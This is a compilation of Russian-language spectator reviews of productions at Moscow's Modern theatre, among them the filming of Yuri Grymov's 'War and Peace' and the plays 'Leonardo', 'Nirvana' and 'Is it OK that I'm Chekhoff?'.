Был момент, когда я подключила себе цифровое телевидение, с телеканалом "Театр", чтобы смотреть спектакли не только по вечерам в театре, но и дома днем. Но что-то пошло на так...

18 августа я стала свидетелем очередного знаменательного события в моем любимом театре "Модерн". Это был первый день съемок одного из нашумевших спектаклей Юрия Грымова "***** и Мiр. Русский Пьер". Лично я смотрела его дважды, но готова посмотреть еще несколько раз точно. Вот для таких как я и для тех, кто по какой-либо причине не имеет возможности увидеть этот шедевр в Театре, Грымов запустил проект, в рамках которого в свет выйдут несколько его киноспектаклей. По словам Юрия Вячеславовича, их будут показывать в кинотеатрах, а также разместят в онлайн-кинотеатрах. Однако, если вы все же планировали увидеть оригинал спектакля, рекомендую не тянуть, ведь Маэстро обещал поднять цену за билеты на спектакль после выхода киноспектакля на экраны.

Мне часто говорят: "Не трать деньги, смотри спектакли дома, можно скачать столько всего интересного". Но, во-первых, нельзя сравнить энергетику и эмоции, получаемые в театре, с впечатлениями от домашнего просмотра, а во-вторых, мне не нравятся видеозаписи спектаклей, поскольку они во многом теряют от некачественной и бездумной съемки. И если снимая фильм-спектакль, имеет место режиссерское видение, то телеспектакль часто является банальной видеозаписью происходящего на сцене. Но в случае с Юрием Грымовым видеосъемки спектакля обретают совершенно иной смысл - будучи, ко всему прочему, клипмейкером и режиссером, он понимает, как можно качественно, интересно и необычно объединить эти два жанра, чтобы удивить и вновь завоевать сердца зрителей.

В зрительном зале везде операторы с камерами - на кране, на рельсах и просто на руках; за мониторами сидит Юрий Грымов со стаканом кофе, четко и своевременно давая инструкции и делая замечания. "Камера!", - командует Маэстро. "Камера!", - эхом доносятся голоса операторов. "Мотор!", - вновь командует Грымов. "Мотор!", - разлетается по залу эхо членов съемочной группы. Девушка на сцене быстро произносит название сцены и хлопает крышкой черно-белой хлопушки, на которой предварительно записала название сцены и номер дубля. Хлопок, - и начинается волшебство! Актеры волнуются, хотя, казалось бы, им не впервой играть этот спектакль. Но одно дело играть для сотен зрителей, что уже привычно, а другое - находиться под камерами.

Это не просто съемка спектакля, это полноценная коллаборация театра и кино. Подъезды камер с разных ракурсов, расположение микрофонов на одежде, дубли сцен, контроль жестов и даже взглядов актеров, - своим профессиональным взглядом Юрий Грымов подмечал абсолютно все, доводя до идеала. Несколько часов наблюдая за процессом съемок, я поняла, что результат будет неожиданным, ни на что ранее не похожим, одним словом - потрясающим. Все еще не представляя, каким будет киноспектакль, отчетливо понимаю, что очень хочу его посмотреть и с нетерпением жду его выхода на экраны. Вполне возможно, это будет очередной новацией от Грымова, прорыв в сфере театра и кино, новое слово в искусстве, объединяющее такие одновременно похожие и непохожие жанры.

В театре Модерн стартовал новый проект киносъемки. И начался он киносъемками масштабного спектакля "***** и мир"! Режиссер Юрий Грымов дает возможность нам, зрителям, увидеть своими глазами, как происходит профессиональный съемочный процесс и стать частью этого чуда. Ведь, правда, это очень интересно и познавательно - видеть всю киносъемочную кухню изнутри. Полезно не только из любопытства, а и с точки зрения понимания сложности и уникальности всего процесса. Каждый человек важен на съемочной площадке, и вся съемочная команда составляет единый живой организм.
Когда звучит команда «Камера! Мотор!» замирает дыхание, и ты уже становишься не просто зрителем, а участником профессионального съемочного процесса, наблюдаешь за работой режиссера и всей съемочной группы, а если повезет, то и самому можно стать на мгновение актером и принять участие в съемках. Здесь мне, как и другим зрителям, которые пришли в этот день в театр на киносъемки спектакля «***** и мир», выпала уникальная возможность, я пришла на съемочную площадку именно в тот день, когда снималась сцена в зрительном зале. Это был мой первый опыт съемок и это очень интересный опыт. Мне, безусловно, понравился весь процесс, но он не такой легкий, каким кажется на первый взгляд. Сцены снимаются в несколько дублей до тех пор, пока режиссер не увидит идеально выверенную картинку, чтобы совпало все. Здесь мне хочется сказать всем актерам слова благодарности за ваш нелегкий труд. Вы творите чудо для зрителя, ваш многочасовой труд под объективами камер бесценен! Браво режиссеру Юрию Вячеславовичу и всей команде! У нас, зрителей, была возможность не только посмотреть на закулисье съемочного процесса, а и пообщаться с режиссером. Юрий Вячеславович, в перерывах между мотором, активно взаимодействовал со зрителями. Интересовался нашим мнением, какой дубль на наш взгляд был лучшим, делился историями из своего опыта, спрашивал наше мнение о спектакле и видели ли мы сам спектакль.
Зачем снимать спектакль? Этим вопросом задаются многие зрители. На самом деле съемки спектаклей, которые многие годы с успехом идут в театре и собирают полные залы, они очень важны для тех зрителей, которые не могут приехать в столицу по тем или иным причинам. А киноверсия спектакля дает возможность посмотреть его на экране, а уже после и придти в театр Модерн на спектакль и увидеть его со сцены театра. А здесь я с уверенностью могу сказать вам, что спектакли Юрия Грымова – это безусловный шедевр! Придя однажды в театр Модерн на спектакль в постановке Юрия Грымова, я продолжаю с радостью ходить и на другие спектакли в постановке Юрия Вячеславовича. Искренне рекомендую вам посмотреть любой из спектаклей, и вам точно захочется пересмотреть весь репертуар театра Модерн.
Давайте вернемся к съемкам спектакля «***** и Мир» это один из аншлаговых спектаклей театра Модерн. Это очень важный и интересный спектакль, поднимающий очень глубокие темы.
Где же можно будет увидеть киноверсию спектакля «***** и Мир»? Вначале на больших экранах в кинотеатрах, а после на онлайн-платформах.

В первые побывала на съёмке спектакля, невероятное чувство - интересно, необычно и впечатлительно.
Режиссёр, Юрий Грымов, сидящий за монитором, внимательно следит за каждым кадром, он видит всю атмосферу спектакля, каждый ракурс камеры, каждое движение актёров и съёмочной группы. Видит, то, что мы зрители сразу и не увидели.
Команды режиссёра, поражающие своей простотой и ставящие актёров перед новыми задачами. "Казак дыми, Казак пройди по сцене, дыма не надо, Казак будет попыхивать.
Казак дымишь? Казак с дымом, Казак с дымом. Свет на Казака, квадрат на Казака.
Евгений Казак🙏, вы были в этот съёмочный день были первой скрипкой 😀.
Костюмы( !423!!!). Воссоздание эпохи- Кутузов, Наполеон. *******. Смерть Болонского…
Наполеон…Наполеон считай людей, смотри в зал и считай…считай, смотри на них…
Мы зрители тоже немного поучаствовали в съёмках.
Огромное спасибо Юрию Грымову 🙏, за предоставленное таинства съёмок.

Съемки спектакля "***** и мир".
Музыку можно записать в нотах, картины пишутся на холстах, а театральные спектакли существуют только здесь и сейчас. Невозможно увидеть два абсолютно одинаковых спектакля - каждый индивидуален и зависит от мельчайших движений эфира. Некоторые знаменитые постановки успели снять на кинопленку, от некоторых остались лишь фрагменты, а от многих только воспоминания. Вы можете сказать, что песок не важная замена овсу, но просто замечательно что сейчас наконец-то взялись за это дело профессионально, и многие спектакли снимают для показа на больших экранах. Теперь их смогут посмотреть даже те, кому до столичных театров сложно добраться.
Я уже писала, что собираюсь увидеть, как проходят съемки "***** и мира" в театре Модерн. Теперь отчитываюсь.
Прежде всего хочу сказать, что это оказалось даже гораздо более интересно, чем я ожидала. Процесс практически завораживает. И главным действующим лицом для меня оказался Юрий Грымов - режиссер, создатель великолепного спектакля, который я теперь обязательно посмотрю еще раз.
Конечно очень помогал тот факт, что Юрий Вячеславович начинал как кинорежиссер и процесс съемок знает от и до. Так что в результате мы увидим на экране именно авторский взгляд на спектакль.
Съемки можно было наблюдать в течение трех дней по шесть часов, но я выбрала для себя первый и последний, и каждый раз сидела в зале по два часа. В результате я увидела как снимают сцены бала и сцены Бородинского сражения, госпиталя и смерти Андрея.
Удивительно, но каждый раз, после команду "мотор", я полностью погружалась в происходящее на сцене и раз за разом, в очередном дубле всей душой сочувствовала героям. И так раза по три-четыре.
Именно когда спектакль на моих глазах дробили на составляющие, стало абсолютно очевидно, на сколько "***** и мир" Грымова, выдающаяся работа. Здесь нет ни одного случайного движения, поворота головы или прохода по сцене. Все выверено до невероятных мелочей и выверено именно для того, чтобы как можно сильнее воздействовать на восприятие зрителей.
Я сама себе завидую, что побывала на этом мероприятии, и просто замечательно, что обычные зрители могли купить билеты и присутствовать на съемках.
Впереди у театра Модерн громадные планы: собираются переносить на кинопленку и другие спектакли этого замечательного театра. Надеюсь, что присутствие зрителей не очень мешало процессу и нас пригласят и в следующие разы.

«Ничего, что я Чехоff?» в театре Модерн
Представьте, что машиной времени вас занесло в самое начало ХХ века. Революционные брожения, новые формы в драматургии, появление синематографа... А следом – слом эпохи, перевернутое самосознание людей, массовая миграция. Крутой замес, правда?
Вот и я попала в самую гущу событий на спектакле «Ничего, что я Чехоff?» в театре «Модерн». На сцене уместилась целая эпоха: от становления народного театра Станиславского и Немировича-Данченко до киноиндустрии фашистской Германии и расцвета Голливуда. А на фоне всего этого – история любви. Чехов и Книппер. Но не Антон Павлович и Ольга Леонардовна, а их племянники - Михаил и Оленька. Этот союз - творческое создание. Он не принес счастья, но сохранил привязанность, которую герои принесли сквозь всю жизнь. Их отношения были скреплены искусством. Михаил стал известным режиссером и создателем собственной драматической системы, у него учились актерскому мастерству голливудские звезды: Мэрилин Монро, Марлон Брандо и др. Ольга же случайно стала любимой актрисой Третьего рейха, а потом и вовсе… агентом трех разведок! Драматург Екатерина Нарцизова-Шипунова проанализировала биографии этих ярких личностей и написала пьесу об истории их взаимоотношений. Не случайно фамилия Чехов в названии спектакля указана с ff на конце: в англоязычной культуре славянские фамилии имеют одну флексию, и она звучит одинаково, как для женщины, так и для мужчины.
В спектакле намешано все: Гитлер и Сталин, Станиславский и Вахтангов, Мэрилин Монро и Ева Браун... Смотрится интересно и необычно. Два часа без антракта пролетают на одном дыхании! Здесь во всем виден творческий почерк Юрия Грымова: мощный звук, жёсткий драматический свет, полное отсутствие декораций. Грымов - он такой один. Величина! Все его постановки пронизаны психологизмом, концептуальны и злободневны. Мастер тонко чувствует исторический контекст, современную повестку и поднимает злободневные темы.
"Берлин переполнен русскими эмигрантами, сбывающими драгоценности" - актуалочка, как принято говорить сейчас.
Режиссер отдает предпочтение мощному звуку, такому пронзительному, а порой даже пугающе-инфернальному. В спектакле звучат аутентичные немецкие, французские, американские и советские песни, отражающие время действия.

Впервые посетили с дочкой театр "Модерн".
Очень понравился интерьер и атмосфера, в одном из залов играл пианист, в ожидании начала спектакля с удовольствием наслаждались прекрасной музыкой.
Спектакль "Человек с глазами Моцарта" произвёл неизгладимое впечатление. Потрясающая игра света, невероятно точно передаёт атмосферу на сцене. Великолепная игра актёров, ребёнок даже прослезился, насколько реальным казалось всё происходящее.
Огромное спасибо Юрию Грымову за такую постановку!

Посмотрели комедию "Масквичи" Юрия Грымова. Очень хороший, теплый спектакль с массой любопытных режиссерских находок. Спектакль очень музыкальный! Замечательные актеры. Отдохнули! Спасибо Модерну за вечер и хорошее настроение!

Посмотрели комедию "Масквичи" Юрия Грымова. Очень хороший, теплый спектакль с массой любопытных режиссерских находок. Спектакль очень музыкальный! Замечательные актеры. Отдохнули! Спасибо Модерну за вечер и хорошее настроение!

Шла с надеждой увидеть в Театр "МОДЕРН" камерный спектакль. Полагала, что историю взаимоотношений Михаила Чехова и Ольги Чеховой в постановке "Ничего, что я Чехоff?" расскажут доверительно и интимно. Но слишком масштабны личности, чтобы о них рассказывать камерно. А я вот про это не знала.
История их супружества продолжалась недолго, но общение и дружба длились на протяжении всей жизни. Семейному разрыву поспособствовали богемный образ жизни супруга, его увлечение профессией и трудности, которые принесла революция. Михаил Чехов, племянник Антона Павловича Чехова, служил во МХАТе. Его молодая жена была племянницей Ольги Леонардовны Книппер-Чеховой, пока не актрисой, но девушкой, мечтающей о такой карьере. Актер не смог стать примерным семьянином, своим домом он считал театр, а семьей товарищей по труппе. У его жены попасть в труппу не получилось. Благодаря тете в 16-летнем возрасте она была принята в студию при Художественном театре, но скоропалительное замужество в 17 лет и рождение дочери, положили конец ее обучению.
Не связанная с театром в России, Ольга Чехова выехала в 1920 году в Германию. И вот там, чтобы заработать на жизнь, она с неохотой приняла предложение сняться в кино. В те времена театральные люди весьма снисходительно относились к кинематографу. Это не искусство, — считали они. Похожей позиции придерживалась и Ольга Чехова. Но кинематограф сделал её известной. И через 8 лет, когда из России приехал ее бывший супруг, уже она могла покровительственно организовывать ему съемки, чтобы помочь финансово и раскрутить интерес к его персоне, как актера в Европе.
В Европе Михаил не остался, он мечтал о собственной театральной школе, но создать ее, как и в России, тут у него не получилось. Лишь перебравшись в Америку, ему удалось реализовать свою мечту.
И вот о всех этих событиях (и даже больше) повествует спектакль «Ничего, что я Чехоff», поставленный Юрием Грымовым по пьесе Екатерины Нарцизовой-Шипуновой.
Жизнь бывших супругов была длинной и интересной. Самые значимые события, отраженные в биографиях, затронуты в постановке. Режиссерским решением роль Михаила Чехова исполняют два разновозрастных актера, такое же решение было и по образу Ольги Чеховой. Молодых Михаила и Ольгу (как пишут в программке «Становление») достойно исполняли Александр Горелов и Мария Орлова. Но сам спектакль для меня не слишком складывался, до появления второй пары: Александра Борисова и Анны Каменковой, именуемых уже «Эпохой».
Образ Михаила Чехова отходит несколько назад, настолько деятельной и энергичной показана Ольга. Воспоминания с нотками грусти и душевного тепла по отношению друг к другу. Нелинейное повествование, выхватывающее образы из прошлого, но к концу не оставляющее вопросов у зрителя.
Да, не камерным, но пробуждающим интерес и трогающим душу, получился спектакль в театре МОДЕРН.

С удовольствием и большим желанием посетила спектакль"Леонардо" в театре Модерн Театр "МОДЕРН".
Это вторая часть трилогии
Юрия Грымова  "Христос или Антихрист", по произведению русского писателя Д.Мережковского.
Действие переносит зрителя в далекую эпоху Возрождения. В это время творили многие известные художники. Микеланджело,Рафаэль,Леонардо да Винчи. Будем знакомиться с жизнью и творчеством великого Леонардо.
Кто он? Ангел или демон? Гений или злодей? Христос или антихрист? Решит каждый для себя.
На сцене практически нет декораций. Режиссер использует световые   эффекты. Не превый раз посещая театр
Театр "МОДЕРН" отметила это как Изюминку театра. Персонажи одеты в богатейшие костюмы знатных людей Милана. Оригинальное музыкальное сопровождение.
На протяжении всего спектакля зрителю представят четыре картины художника.
Шедевр "Тайная вечеря" создали  сами актеры. Они надолго застыли в неподвижных позах. Великолепная режиссерская задумка. И по взмаху руки Леонардо картина иногда оживает.
Еще интереснее было посмотреть , как под картиной сели поужинать герцог Моро и его приближенные. Восприняла с иронией. Две вечерние трапезы на контрасте.
"Леда и Лебедь". Для ее создания пригласили натурщицу Кассандру (актриса Надежда Селиванова). Чертовски сооблазнительная женщина не смогла увлечь Леонардо. Но эффектно, без пошлости, заполучила расположение ученика Джованни(актер Богдан Щукин). Темпераментный персонаж. Вот в ком видела я зло и ненавись. Или это выражение зависти в великому учителю?
"Иоанн Креститель".Картина ,которую представили посланцам далекой Московии. Русские иконописсцы посчитали Леонардо Антихристом.
Ибо негоже в таком виде изображать Христа.
На потолке театра  появиться  проекция  росписи Сикстинской капеллы . Херувимы летают. Девы прекрасные и обнаженные. Ругаются ходоки с великой Руси. Потому,что нет таинства в работах.
Уходя, иконописцы дарят Леонардо самое святое.Православную икону. Посмотрел на нее художник. И сказал:"Это вообще не искусство".

Картины "Иоанн Креститель"и Мона Лиза" не были показаны зрителям.Видны только закрытые холсты на подрамниках. И если улыбку Джаконды я видела в музее Лувра,то после спектакля тут же посмотрела в интернете, что же это за полотно "Иоанн Креститель", которое повергло в шок иконописцев из России.

Роль Леонардо исполняет Дмитрий Бозин. Увидев портрет Леонардо да Винчи,я нашла потрясающее сходство!
В спектакле Дмитрий настолько отдавался роли,что границы времени для меня стирались.Видела перед собой только Леонардо да Винчи.
Его утонченные руки,умные речи,пластика тела,создавали образ великого творца.
Эпизод за эпизодом много размышляла. Вот Леонардо вижу гениальным художником,написавший "Тайную вечерю".И тут же, по просьбе Моро,герцога Милана(великолепное исполнение Юрия Анпилогова),мастер идет создавать бомбу,чтобы уничтожить как можно больше людей.Главное для Леонардо это работа,его изобретения.Во всем он видит служение людям.
Звуковыми и световыми эффектами показали на сцене создание прототипа пулемета. Герцог же просит  много жертв.
Юрий Анпилогов был прекрасен в образе герцога.Мощь,сила,страх и повиновение. Все в его власти. Костюм и грим бесподобны.

Изучая принцип полета птиц, Леонардо создал летательную машину. Опробовать ее взялся его ученик Зароастр(актер Евгений Невар).Он одержим идеей полета. Конечно ученик погиб. Идет сцена яростного осуждения Леонардо за гибель человека. А я понимаю,что на стороне Леонардо. Он дал ученику ,пусть и на минуту, радость жизни.Исполнил его мечту летать.
Испытания не всегда проходят гладко.И не достоин поругания изобретатель.Только уважение.

О личной жизни Леонардо да Винчи ходят легенды.Есть выражение"ходить по тонкому льду". В спектакле очень тонким намеком проходит мысль о нетрадиционной ориентации художника. Художник не оставил после себя ни одного свидетельства любовных похождений. Про отношения с женщинами, исключая натурщиц,приглашенных для позирования,так же ничего не известно.
Вновь режиссер дает повод для размышлений зрителю.
Среди бедно одетых подмастерий появляется мальчик Салаи( актриса Марина Кондратова). Перевод имени"Салаи" обозначает демон или бес. Леонардо почти четверть века заботился о своем ученике,что и вызвало у публики множество домыслов.
В спектакле персонаж имеет яркий наряд,ухоженный вид. Ему прощаются любые выходки и выссказывания.
Для меня это было выражением отцовской любви. Леонардо из Винчи-незаконнорожденный сын. Не ощутил в полной мере родительской любви. И отдает свое расположение этому юноше, вложив всю свою не растраченную доброту и нежность.Ангел во плоти.
В противоположность показана любовь художника к Лизе Герардини(актриса Маина Чижевская),супруге флорентийского торговца Франческо дель Джакомо.Три года создавался шедевр"Мона Лиза". Портрет наполнен  любви мастера к женщине.Он пронесет ее долгие годы.Изучив историю создания,у меня есть сомнения и в этом вопросе. Леонардо-великий изобретатель и исследователь.Долгие  он создавал шедевр,в котором применил новую технику нанесения красок.Так что это?Любовь к женщине или каторжный труд. Работа одержимого идеей Леонардо да Винчи.
Спектакль получился зрелищным и глубоким.Вместо декораций  используются световые контрасты.На сцене постоянно идет игра света и тьмы,что дополняет создание  противоречивого образа художника.
Яркие и богатые костюмы вельмож притягивают взор. Много музыки.
После просмотра мне захотелось узнать больше о жизни Леонардо да Винчи.Рекомендую к просмотру всем.

На днях впервые побывала в театре «Модерн» под руководством Юрия Грымова на спектакле «Нирвана». На входе сотрудники театра дружелюбно поприветствовали, провели небольшую экскурсию, была очень рада такому гостеприимству. До спектакля оставалось минут 30, и я решила прогуляться по коридорам театра. Друзья, там так красиво. Два просторных фойе. Уютная гостиная. В буфете играет живая музыка, гости театра сидят за столиками, пьют кофе, вино и ждут начала спектакля. Уютно, дружеская обстановка, чувствуется, что все в театре сделано с душой. Наконец-то, часы пробили 18-00, и мы все отправились в зал. Зал шикарный, удобные кресла, отличная видимость. Погас свет. Начался спектакль. С первых же минут меня увлекли сценические эффекты. Не буду детально описывать, чтобы вам самим насладиться увиденным. Заиграла знакомая музыка, и я погрузилась в мир Курта Кобейна. Драйв, секс, наркотики, рок-н-ролл, любовь, депрессия, боль. И все по кругу. Курта Кобейна сыграл актёр Богдан Щукин, а роль Корни Лав исполнила Анастасия Сычева. Внешне актеры не похожи на героев, но, как же они были убедительны. Веришь каждой эмоции, каждому действию и сказанному слову. Браво! В спектакле интересно показаны взаимоотношения Кобейна с наркотиками, они предстают в виде человека по прозвищу «Драг», которого играет невероятный Юрий Анпилогов. Безумно понравились декорации, все продумано до мелочей, так красиииииво, атмосферно. Рассматривала каждую деталь и любовалась. А еще порадовало, как воссоздали легендарные образы музыканта, например, леопардовую шубу.
Я получила колоссальное удовольствие от увиденного. Это было ярко, смело, искренне и по-настоящему. Советую всем, кто неравнодушен к личности Курта Кобейна, посетить данный спектакль!

В театре «Модерн» его художественный руководитель Юрий Грымов уже третий год разрабатывает триптих по произведениям Мережковского «Христос и Антихрист». Сначала «Петр I», потом «Леонардо». А заключительная часть «Иуда» пока еще не готова. Справедливости ради отмечу, что у самого Мережковского сначала был «Юлиан Отступник», потом «Леонардо» и уже потом «Петр». Впрочем, в марте я ощутил большое желание увидеть именно вторую часть, которая одинакова у обоих. Осуществление случилось хоть и два месяца спустя, но получилось воистину дивным — еще ни разу прежде я держал в руках билетов по 10 тыс. каждый на самые лучшие места в первом ряду.

Мережковский знал о Леонардо почти всё то же, что мы сейчас. Кстати, литоснова считывается быстро. А спектакль далеко непопсовый, и желательно до посещения театра, если не прочитать книжку — она тяжеловата, и я тоже целиком не осилил, то хотя бы посмотреть недавнюю передачу о Леонардо от Минаева. Мы во всяком случае так сделали.
И тогда все сцены, в которых актеры говорят, станут понятны. Но пара беззвучных пантомим даже мы не разгадали.

Спектакль — не биография, не байопик, в начале спектакля Леонардо чуть более сорока. А там — конфликт между гуманизмом и религиозным сознанием, потому что неоднократные обвинения Леонардо в ереси обоснованы.
Но интересно, что по ходу пьесы зрителя пытаются поместить в кожу художника, когда ты следишь за тем, как падает свет, как он рассеивается в пыли камнерезной мастерской, как дымка формирует фон картины…

Наш герой зарисовывает воду, выражения лиц… Он не хочет придумывать, он хочет отражать.
Художники Возрождения разобрались, как надо изображать трехмерный объект сложной формы (человеческое тело) в движении, выражая определенные эмоции на плоской поверхности холста или фрески. Кто-то писал через сетку. Математически вычислялась перспектива. В итоге получали реалистическую живопись, используя математический аппарат. То есть каждый художник в то время — немного геометр и химик.
Геометричность поддерживается работой света этого спектакля.

Леонардо, оказавшись в круге света демонстрирует «Витрувианского человека», тем более, что сам хорошо сложен.
И тут уместно поговорить об исполнителе главной роли. В 2022 году в театр «Модерн» под роль Леонардо перешел Дмитрий Бозин. Мы помнили его по выдающемуся спектаклю «Последняя любовь Дон Жуана» в Театре Романа Виктюка. Но еще мы помнили его по взрослому «Маугли», где Витюк дал ему побыть режиссером. Тот спектакль наполнен символизмом и не очень явственной, но всё же эзотерикой. Этот же склад ума видится и в Леонардо, так что роль Бозину явно идет.
В спектакле чуть-чуть приоткрывается внутренний мир Леонардо да Винчи, к примеру, тем, что гением не учитывается этика. Нам показывают распиаренный образ (распиаренный и при жизни, и после смерти).
И такому Леонардо не сочувствуешь!

Тема Салаи (мальчика-ученика) раскрыта полностью. Но нарушена фактическая его биография, ведь на самом деле он не покинул Леонардо до самой его смерти.

Однако же я взялся рассказывать о спектакле и скатился в описание содержания.

В спектакле — шикарные костюмы и сравнительно мало декораций.

Представлены четыре живописных работы: «Тайная Вечеря», реализованная актерами, «Леда и Лебедь», «Иоанн Креститель» и «Джоконда», реализованные картинами, правда, без соблюдения размера оригинала.

Кассандра, натурщица для картины про Леду, где — ее полностью обнаженная фигура, стоящая в полный рост, после того, как позирование закончено, хочет «ослепить» своей наготой Джованни. Но только чуть-чуть расстегивает перед ним одежду, не показывая и кусочка тела. В этот момент я подумал «незачет», ведь даже в советских «Мастере и Маргарите» Нина Шацкая в такой же позе спиной к зрителю была полностью обнажена. Однако по возвращении домой мне показали в книжке Мережковского абзац, где Кассандра, даже отправляясь на шабаш летать на козле, не снимает сорочку.

Когда Леонардо встает в круг, то рядом появляются люди из его окружения. И я подумал, вот так они будут вращаться вокруг него, вовлеченные в сюжет его жизни. И вскоре свет начинает кружиться так, словно бы они вращаются. Тут совпадение мыслей не очень важное, но мне запомнилось.

Фраза людей из его окружения о том, что Леонардо вряд ли полный девственник, поскольку наверняка хотя бы ради научного познания захотел изучить и этот процесс, передана режиссером в женские уста.

Если охарактеризовать спектакль одним словом, то я выберу «интересный». Но если хотите еще одно слово, то пусть будет «грандиозный».

Про спектакль "Леонардо".
Можно просто назвать это имя, и на ум придет сразу именно Леонардо да Винчи. Личность настолько разнопланово талантливая, что просто поражает каким-то космическим масштабом. Поэтому когда я увидела в афише театра Модерн спектакль с таким названием, вообще сомнений не было - надо идти!
Сначала общее впечатление - эпично! Масштаб исторической фигуры, музыка, свет - все значительно и величаво.
Теперь подробнее. Что понравилось: Юрию Грымову здесь браво, он использовал для воздействия на зрителя практически все чувства - прекрасная игра света, музыки, жеста (не даром на главную роль выбран Дмитрий Бозин, прославившийся еще в театре Виктюка невероятной пластикой). Во втором отделении в дело включился даже потолок, где появлялась то роспись Сикстинской капеллы, то звездное небо.
Отдельное восхищение вызвало у меня изображение картины "Тайная вечеря". Все действующие лица - это актеры театра, которые просто немыслимо застыли в позах на долгое время, практически убеждая в том, что это картина. Браво всем за такую выдержку!
Добро и зло, прекрасное и ужасное - как все это сочеталось в одном человеке? Его гений был выше морали (по крайней мере, так это видят многие исследователи), даже смерть любимой трагедией является частично потому, что не успел дописать портрет. В общем, фигура противоречивая, но от этого не менее величественная.
Дмитрий Бозин как нельзя более подходит на эту роль. Каждый жест отточен, полон смысла. Эдакий демон и ангел в одном флаконе.
Отдельно про музыку - она накатывала, оглушала, вводила в транс, готовила к действию, сопровождала его и звучала апофеозом. Да, громко, но здесь этот звук уместен.
Нам так и не показали ни Джоконду, ни картину Иоанна Крестителя, они все время "спиной" к зрителю. И если Мона Лизу знают все, то вспомнить, что же вызывало такие споры в изображении Иоанна Крестителя, заставило меня после спектакля поздно ночью полезть в интернет и поискать. Да, двойственные чувства. Это действительно полуженщина-полумужчина. (Кстати, если искусство заставляет вас интересоваться историей, то это уже огромный плюс ему).
Да, в спектакле кроме да Винчи есть еще и Микеланджело, и Рафаэль. Т.е. нам предлагают вспомнить не только одну грандиозную личность, но и других великих эпохи Возрождения.
Маленькую ложку дегтя внесу - начало слегка затянуто. Пожалуй, это единственный минус, а я очень придирчива)
Очень эстетический получился вечер - красивый театр, красивое зрелище, мне даже все зрители казались одухотворенными и красивыми. И на закуску голубь. Один. Второй лететь отказался)

Леонардо да Винчи - гений, который опережал свое время, художник, ученый, изобретатель, скульптор, архитектор. Большинство из нас помнят его картины Мадонн с младенцами, загадочную «Мону Лизу» и знаменитую фреску «Тайную вечерю».
А знаете ли вы, что Леонардо разрабатывал и смертоносное оружие? Есть сведения, что он создал чертежи танка, вертолета, подводной лодки, ему приписывают изобретение арбалета, разрывных ядер, пушки, катапульты.

Как может жить в одном человеке сила созидательная, живая, и одновременно разрушительная и смертоносная? Юрий Грымов в своем спектакле «Леонардо», дает возможность зрителю найти ответы на этот вопрос. Это второй спектакль из трилогии "Антихрист и Христос" ("Пётр", "Леонардо", " Иуда"), созданный на основе романов Д. С. Мережковского.

К большинству постановок, что идут в театре Модерн нужно готовиться, чтобы не было недоумения, что же происходит на сцене.
Послевкусие так же присутствует, после того, как опускается занавес, хочется и дальше изучать поднятую тему. Спектакль визуально очень красивый, каждой сценой можно любоваться. Мне кажется, что если в любой момент остановить ход спектакля и сделать снимок, то на выходе получится отдельная картина эпохи Возрождения. Есть режиссерские фишечки, которые действительно поразили, сидишь и думаешь, как такое раньше никому в голову не приходило?
Как только опускаешься в свое кресло в зрительном зале, отсчет времени на полет в прошлое уже пошел. Погрузиться в период конца 15 - начала 16 вв. помогают невероятные костюмы, созданные Ирэной Белоусовой, а так же музыкальное оформление спектакля.
В нем задействована вся труппа театра, а так же приглашенные артисты из других театров. Роль Леонардо исполняет заслуженный артист РФ, ведущий актер театра Романа Виктюка - Дмитрий Бозин. Как я мечтала увидеть этого актера на сцене! Как же он виртуозно играет светом, как бы извлекая из него краски и замысловатые мазки, что создают бессмертные творения. Свет в постановках Ю.Грымова – несомненно, самый важный исполнитель в составе труппы театра.
Мы следим за путем творца на фоне междоусобиц, войн, эпидемий, разгула инквизиции. Наблюдаем драму человека, который считал, что служить искусству и науке можно только при абсолютной свободе от всех человеческих проявлений и чувств. Стирается грань между добром и злом. Воспитание, культурная среда, окружение тому виной, или это дремлющие демоны внутри человека, которые всегда были рядом и подняли голову в нужный момент? Как итог - одиночество, отстраненность, переходящая в равнодушие.
В постановке прослеживаются четыре основные сюжетные линии: отношения Леонардо с властью, с другими художниками, с учениками, его любовь.
Интересны моменты включения православных художников, задача которых найти таланты, которые могут быть полезны у нас на родине. Но, наши иконы дают ощущение тайны, единения с Богом, находят отклик и понятны нашим людям. Чего не могут дать работы итальянских мастеров, какими бы гениальными они не были, ведь они изображают лишь красоту внешнюю, человеческую. Мир света и понимания человеческой души, сойдет на Леонардо лишь в финале спектакля. И это будет великолепно!

ЛЕОНАРДО

Задумывались ли вы когда-нибудь о том, что такое талант и кто его нам дарует? Какое происхождение у таланта: божественное или же...нет? Эти вопросы на протяжении всего спектакля ставит перед нами маэстро Грымов. А вот найти ответы на них предстоит зрителю.

Леонардо да Винчи - один из самых ярких представителей искусства эпохи Возрождения. Скульптор, художник, естествоиспытатель, анатом прочно вписал себя в мировую историю. Леонардо в исполнении Дмитрия Бозина бесподобен. Грациозный, изящный, прекрасно сложенный, но в тоже время с чертовщинкой в глазах. Эта роль просто создана для него. Не уступает по своей харизматичности и пара Герцога с супругой в исполнении Юрия Анпилогова и Жанны Чирвы. Тот случай, когда от отрицательных персонажей нельзя отвести взгляд.

В спектакле множество интересных режиссёрских решений: начиная от воплощения на сцене знаменитой фрески Леонардо, заканчивая эффектным финалом. Благодаря искусной работе света, мы словно путешественники во времени переносимся вслед за героями на несколько столетий назад сначала в доминиканский монастырь Санта-Мария-делле-Грацие в Милане, затем в Сикстинскую капеллу.

У Юрия Грымова, как и во всех его работах продуман каждый штрих - свет, музыка, костюмы. Из хочется отметить отдельно. Они невероятные. Чего только стоит костюм сестер-близнецов.

Действие на сцене заворожило. Восторг!

--ДУША В ЖЕЛЕЗЯКЕ

Я часто слышу выражение "бездушные машины". А что если это не так? Что если у каждого авто есть свой характер и своя душа? Своя история?

Вот и в спектакле "Кладбище понтов" театра Модерн главные герои - автомобили. С разными судьбами и характерами. Но все они были когда-то не просто средством передвижения, а предметом роскоши. Непростые, скажем так, автомобили. Майбах, Бентли, Ламборгини... А почему были? А потому что их бросили...

Истории, рассказанные в спектакле, очень честные, трогающие душу и показывающую не только судьбы железных коней, но и то, какими разными бывают их хозяева. И, конечно, то, что за понтами есть живые души, умеющие любить, переживать, плакать и смеяться.

И да, спектакль не без юмора. Очень меткого и четкого. Отвечает за юмор Хендай, случайно затесавшийся в тусовку тачек люкс. За него отдельное спасибо, шедевральный персонаж.

Отзыв о спектакле «Леонардо» в театре Модерн.

Это что-то шедевральное!

